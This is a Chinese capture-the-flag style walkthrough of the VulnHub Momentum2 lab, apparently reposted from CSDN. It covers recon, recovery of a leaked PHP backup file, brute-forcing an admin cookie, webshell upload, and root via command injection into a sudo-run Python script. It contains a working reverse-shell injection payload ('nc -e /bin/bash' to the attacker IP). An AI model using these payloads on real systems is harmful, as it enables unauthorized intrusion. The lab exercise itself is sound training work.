欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 手游 > vulnhub靶场之Momentum2

vulnhub靶场之Momentum2

2024/10/24 22:27:40 来源:https://blog.csdn.net/qq_58091216/article/details/142900037  浏览:    关键词:vulnhub靶场之Momentum2

一.环境搭建

1.靶场描述

  • Difficulty : medium
  • Keywords : curl, bash, code review

This works better with VirtualBox rather than VMware

2.靶场下载

https://download.vulnhub.com/momentum/Momentum2.ova

3.靶场启动

二.信息收集

1.寻找靶场真实的IP地址

nmap -sP 10.0.2.0/24

arp-scan -l

靶场真实IP地址为10.0.2.251

2.探测端口及服务

nmap -p- -sV http://10.0.2.251

开启了22端口和80端口

三.渗透测试

1.访问web服务

http://10.0.2.251

我们查看源代码,没有任何发现

2.扫描web服务

1)nikto扫描

nikto -h http://10.0.2.251

2)dirb扫描

dirb http://10.0.2.251

3)dirsearch扫描

我们可以看到disearch多扫描出了一个/dashboard.html目录

3.渗透测试

1)访问目录

http://10.0.2.251/ajax.php

我们可以看到什么也没有,当一个目录什么也没有的时候,我们可以看看它的备份文件

http://10.0.2.251/css

http://10.0.2.251/js

发现一个代码,总的来说就是一个结合ajax.php上传多个文件的js代码,这就说明有上传文件的页面,存在上传点,就有可能存在文件上传漏洞

http://10.0.2.251/manual

可以看到apache的版本号

http://10.0.2.251/dashboard.html

我们可以看到是一个上传页面,我们就进行文件上传

2)文件上传

可以看到过滤了,我们进行抓包

我们可以发现当我们上传txt文件时,返回值是1,说明只能上传txt文件

我们在10.0.2.251/owls路径下看到我们上传的txt文件,所以目前我们没有办法进行文件上传

3)备份文件

我们想到前面的php目录什么也没有,我们试试看它的备份文件

curl http://10.0.2.251/ajax.php.bak

我们可以看到一串代码,我们进行分析

cookie 存在时,键名为 admin ,值为 &G6u@B6uDXMq&Ms ,再值的末尾还需要加一个大写字母。

使用 post 方式提交一个参数 secure ,值为 val1d,就可以上传 pdf,php,txt 文件。

4)burp的使用

首先我们生成一个全是大写的字典

上传一句话木马文件。

使用 brupsuit 抓包,添加 cookie 值,添加 post 请求值。

Cookie: admin=&G6u@B6uDXMq&MsR

------WebKitFormBoundary1OlvLrs5qB8SHF7t

Content-Disposition: form-data; name="secure";

val1d

我们进行爆破

发送到 Intruder 模块对 cookie 值最后一位进行爆破。

我们可以看到爆破成功

发现长度是一样的,那就去挨个看回显,最终在R上发现1,说明已上传成功

同时得到admincookie&G6u@B6uDXMq&MsR

5)蚁剑连接

我们进行连接

我们也可以使用nc进行反弹

 nc -nvlp 6666

记得修改php-reverse-shell.php里面的ip和端口

我们可以看到反弹成功

5)ssh登录

我们在根目录下面看到了/home/,我们进行查看

我们看到有一个athena用户,里面有flag和密码,那么我们就进行ssh登录

密码后面有一个*

6)提权

我们看到需要python进行提权,我们查看脚本

这段代码使用了 Python 的 random、os 和 subprocess 模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:

    import random:导入 random 模块,用于生成随机数。
    import os:导入 os 模块,用于与操作系统进行交互,例如创建文件和执行命令。
    import subprocess:导入 subprocess 模块,用于执行系统命令。
    print('~ Random Cookie Generation ~'):打印提示信息,表示开始生成随机 Cookie。
    print('[!] for security reasons we keep logs about cookie seeds.'):打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。
    chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh':定义了一个包含特定字符的字符串,用于生成 Cookie。
    seed = input("Enter the seed : "):提示用户输入种子(seed)。
    random.seed = seed:设置随机数生成器的种子为用户输入的种子。
    cookie = '':初始化一个空字符串,用于存储生成的 Cookie。
    for c in range(20)::循环 20 次,生成 20 个字符的 Cookie。
    cookie += random.choice(chars):在每次循环中,从 chars 字符串中随机选择一个字符,并将其添加到 cookie 字符串中。
    print(cookie):打印生成的 Cookie。
    cmd = "echo %s >> log.txt" % seed:构建一个命令字符串,将种子追加写入到 log.txt 日志文件中。
    subprocess.Popen(cmd, shell=True):执行命令字符串,将种子追加写入到日志文件中。

代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用 subprocess 模块执行命令,将种子追加写入到名为 log.txt 的日志文件中。

sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py #执行python文件
nc -lvvp 6666 #本地监听
;nc -e /bin/bash 10.0.2.15 6666; #输入回弹命令

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com